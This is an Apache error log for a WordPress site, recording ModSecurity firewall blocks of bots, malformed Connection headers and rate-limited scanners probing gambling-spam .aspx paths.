[Thu May 21 15:36:50.413297 2026] [:error] [pid 49982:tid 50005] [client 101.42.46.71:34214] [client 101.42.46.71] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ag62EmFwIDa5Tf8O4ba3qgAAANU"]
[Thu May 21 17:10:44.083812 2026] [:error] [pid 49879:tid 49927] [client 43.157.153.236:54754] [client 43.157.153.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ag7MFIVqYDjFSyG2gFpUAQAAAEc"]
[Thu May 21 21:13:59.947382 2026] [:error] [pid 9189:tid 9232] [client 194.5.52.5:46747] [client 194.5.52.5] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "vetstars.com.au"] [uri "/wp-includes/css/buttons.css"] [unique_id "ag8FF5vTDh1NbYizKVy_4gAAAg0"]
[Thu May 21 22:02:35.411824 2026] [:error] [pid 9189:tid 9230] [client 43.166.226.186:52238] [client 43.166.226.186] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ag8Qe5vTDh1NbYizKVzI5gAAAgs"]
[Thu May 21 23:24:10.024054 2026] [:error] [pid 49884:tid 49956] [client 34.150.255.112:50500] [client 34.150.255.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ag8jmq5MPpsTNNHWS6gXWgAAAIk"]
[Thu May 21 23:24:10.450888 2026] [:error] [pid 49884:tid 49966] [client 34.150.255.112:65356] [client 34.150.255.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ag8jmq5MPpsTNNHWS6gXvgAAAJM"]
[Thu May 21 23:24:10.897602 2026] [:error] [pid 9188:tid 9204] [client 34.150.255.112:60921] [client 34.150.255.112] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/wlwmanifest.xml"] [unique_id "ag8jmrGYm6q5dNSUvA__FQAAAcw"]
[Thu May 21 23:58:19.655870 2026] [autoindex:error] [pid 9188:tid 9205] [client 144.91.96.80:54529] AH01276: Cannot serve directory /home/vetstars/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Fri May 22 00:14:43.518791 2026] [:error] [pid 49982:tid 49990] [client 43.135.36.201:57432] [client 43.135.36.201] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ag8vc2FwIDa5Tf8O4bYr8wAAAMY"]
[Fri May 22 02:57:45.251231 2026] [:error] [pid 9157:tid 9163] [client 51.83.100.230:52254] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ag9VqcGfHcLNqE8m88LG8wAAAYQ"]
[Fri May 22 02:57:47.816962 2026] [:error] [pid 9157:tid 9177] [client 51.83.100.230:46670] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "ag9Vq8GfHcLNqE8m88LG9wAAAZI"]
[Fri May 22 02:57:50.268249 2026] [:error] [pid 49877:tid 49889] [client 51.83.100.230:46680] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "ag9VrhgN4MeSe4kIL9BhawAAAAE"]
[Fri May 22 02:57:52.672350 2026] [:error] [pid 38463:tid 38661] [client 51.83.100.230:46684] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ag9VsB4oIQTtH1fRix0m4wAAAlc"]
[Fri May 22 02:57:55.273559 2026] [:error] [pid 49884:tid 49967] [client 51.83.100.230:60244] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ag9Vs65MPpsTNNHWS6g3tgAAAJQ"]
[Fri May 22 02:57:57.660576 2026] [:error] [pid 49982:tid 49995] [client 51.83.100.230:60254] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ag9VtWFwIDa5Tf8O4bY8fAAAAMs"]
[Fri May 22 02:58:00.392759 2026] [:error] [pid 49884:tid 49971] [client 51.83.100.230:60260] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "ag9VuK5MPpsTNNHWS6g3ugAAAJg"]
[Fri May 22 02:58:03.014480 2026] [:error] [pid 38463:tid 38654] [client 51.83.100.230:60270] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "ag9Vux4oIQTtH1fRix0m7gAAAlA"]
[Fri May 22 02:58:05.643531 2026] [:error] [pid 9114:tid 9138] [client 51.83.100.230:56006] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "ag9VvW8FiJqDBEoTvqyZUgAAAVY"]
[Fri May 22 02:58:08.111541 2026] [:error] [pid 51613:tid 51638] [client 51.83.100.230:56008] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "ag9VwGbP0MDvqrVnweojDAAAARc"]
[Fri May 22 02:58:10.649643 2026] [:error] [pid 9157:tid 9160] [client 51.83.100.230:56018] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "ag9VwsGfHcLNqE8m88LHFwAAAYE"]
[Fri May 22 02:58:13.160359 2026] [:error] [pid 51613:tid 51624] [client 51.83.100.230:56034] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "ag9VxWbP0MDvqrVnweojEwAAAQk"]
[Fri May 22 02:58:15.695764 2026] [:error] [pid 49877:tid 49890] [client 51.83.100.230:60364] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "ag9VxxgN4MeSe4kIL9BheQAAAAI"]
[Fri May 22 02:58:18.164885 2026] [:error] [pid 49877:tid 49905] [client 51.83.100.230:60370] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "ag9VyhgN4MeSe4kIL9BhfwAAABE"]
[Fri May 22 02:58:20.726148 2026] [:error] [pid 49877:tid 49893] [client 51.83.100.230:60376] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "ag9VzBgN4MeSe4kIL9BhjQAAAAU"]
[Fri May 22 02:58:23.224272 2026] [:error] [pid 51613:tid 51617] [client 51.83.100.230:60380] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "ag9Vz2bP0MDvqrVnweojGAAAAQI"]
[Fri May 22 02:58:26.033467 2026] [:error] [pid 49884:tid 49948] [client 51.83.100.230:54310] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "ag9V0q5MPpsTNNHWS6g3wQAAAIE"]
[Fri May 22 02:58:28.546747 2026] [:error] [pid 9157:tid 9181] [client 51.83.100.230:54316] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "ag9V1MGfHcLNqE8m88LHRAAAAZY"]
[Fri May 22 02:58:30.956890 2026] [:error] [pid 9157:tid 9177] [client 51.83.100.230:54328] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "ag9V1sGfHcLNqE8m88LHTgAAAZI"]
[Fri May 22 02:58:33.446683 2026] [:error] [pid 9157:tid 9174] [client 51.83.100.230:54330] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "ag9V2cGfHcLNqE8m88LHUgAAAY8"]
[Fri May 22 02:58:35.860905 2026] [:error] [pid 49884:tid 49967] [client 51.83.100.230:56728] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "ag9V265MPpsTNNHWS6g3xwAAAJQ"]
[Fri May 22 02:58:38.324672 2026] [:error] [pid 49877:tid 49900] [client 51.83.100.230:56744] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "ag9V3hgN4MeSe4kIL9BhrQAAAAw"]
[Fri May 22 02:58:40.798141 2026] [:error] [pid 49877:tid 49906] [client 51.83.100.230:56760] [client 51.83.100.230] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "ag9V4BgN4MeSe4kIL9BhtAAAABI"]
[Fri May 22 03:48:27.053803 2026] [:error] [pid 11119:tid 11170] [client 170.106.167.214:40296] [client 170.106.167.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "ag9hi6GBEDt7fR6z6jnONgAAAFU"]
[Fri May 22 06:34:03.776310 2026] [:error] [pid 15679:tid 15689] [client 79.137.64.41:53614] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ag-IWyh8tgGc38WJ-GxyuwAAAMg"]
[Fri May 22 06:34:06.182156 2026] [:error] [pid 58813:tid 58826] [client 79.137.64.41:51918] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ag-IXp6yyKWDKULhxJ3_UQAAAUo"]
[Fri May 22 06:34:08.653323 2026] [:error] [pid 15585:tid 15651] [client 79.137.64.41:51930] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ag-IYCKb-vB41AF-LC1L1wAAAIQ"]
[Fri May 22 06:34:11.103485 2026] [:error] [pid 58813:tid 58818] [client 79.137.64.41:37762] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ag-IY56yyKWDKULhxJ3_UwAAAUI"]
[Fri May 22 06:34:13.465953 2026] [:error] [pid 15584:tid 15640] [client 79.137.64.41:37772] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ag-IZd9Z_TVLbNEx52h_CQAAAFQ"]
[Fri May 22 06:34:15.942466 2026] [:error] [pid 15679:tid 15702] [client 79.137.64.41:37778] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ag-IZyh8tgGc38WJ-GxyywAAANU"]
[Fri May 22 06:34:18.293605 2026] [:error] [pid 15679:tid 15697] [client 79.137.64.41:37788] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ag-Iaih8tgGc38WJ-Gxy4QAAANA"]
[Fri May 22 06:34:20.691926 2026] [:error] [pid 58782:tid 58786] [client 79.137.64.41:58280] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ag-IbIxsdTFafgO8vhSvqwAAAQI"]
[Fri May 22 06:34:23.138767 2026] [:error] [pid 15585:tid 15666] [client 79.137.64.41:58284] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ag-IbyKb-vB41AF-LC1L-QAAAJM"]
[Fri May 22 06:34:25.575799 2026] [:error] [pid 15584:tid 15642] [client 79.137.64.41:58298] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ag-Icd9Z_TVLbNEx52h_IwAAAFY"]
[Fri May 22 06:34:27.903997 2026] [:error] [pid 15584:tid 15625] [client 79.137.64.41:58314] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ag-Ic99Z_TVLbNEx52h_KAAAAEU"]
[Fri May 22 06:34:30.240848 2026] [:error] [pid 15585:tid 15652] [client 79.137.64.41:58320] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ag-IdiKb-vB41AF-LC1MEgAAAIU"]
[Fri May 22 06:34:32.557336 2026] [:error] [pid 15585:tid 15668] [client 79.137.64.41:43784] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ag-IeCKb-vB41AF-LC1MLQAAAJU"]
[Fri May 22 06:34:34.994713 2026] [:error] [pid 58782:tid 58793] [client 79.137.64.41:43786] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "ag-IeoxsdTFafgO8vhSvwQAAAQk"]
[Fri May 22 06:34:37.459345 2026] [:error] [pid 15679:tid 15704] [client 79.137.64.41:43798] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ag-IfSh8tgGc38WJ-GxzAgAAANc"]
[Fri May 22 06:34:40.014166 2026] [:error] [pid 15585:tid 15660] [client 79.137.64.41:43808] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ag-IgCKb-vB41AF-LC1MSAAAAI0"]
[Fri May 22 06:34:42.554813 2026] [:error] [pid 15585:tid 15665] [client 79.137.64.41:40532] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "ag-IgiKb-vB41AF-LC1MUQAAAJI"]
[Fri May 22 06:34:45.060162 2026] [:error] [pid 15584:tid 15628] [client 79.137.64.41:40542] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ag-Ihd9Z_TVLbNEx52h_OgAAAEg"]
[Fri May 22 06:34:47.566829 2026] [:error] [pid 15583:tid 15611] [client 79.137.64.41:40548] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "ag-Ih3naOncRcIm17YV89gAAABc"]
[Fri May 22 06:34:49.928586 2026] [:error] [pid 15679:tid 15686] [client 79.137.64.41:40554] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "ag-IiSh8tgGc38WJ-GxzFAAAAMU"]
[Fri May 22 06:34:52.414916 2026] [:error] [pid 15584:tid 15632] [client 79.137.64.41:39630] [client 79.137.64.41] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "ag-IjN9Z_TVLbNEx52h_QgAAAEw"]
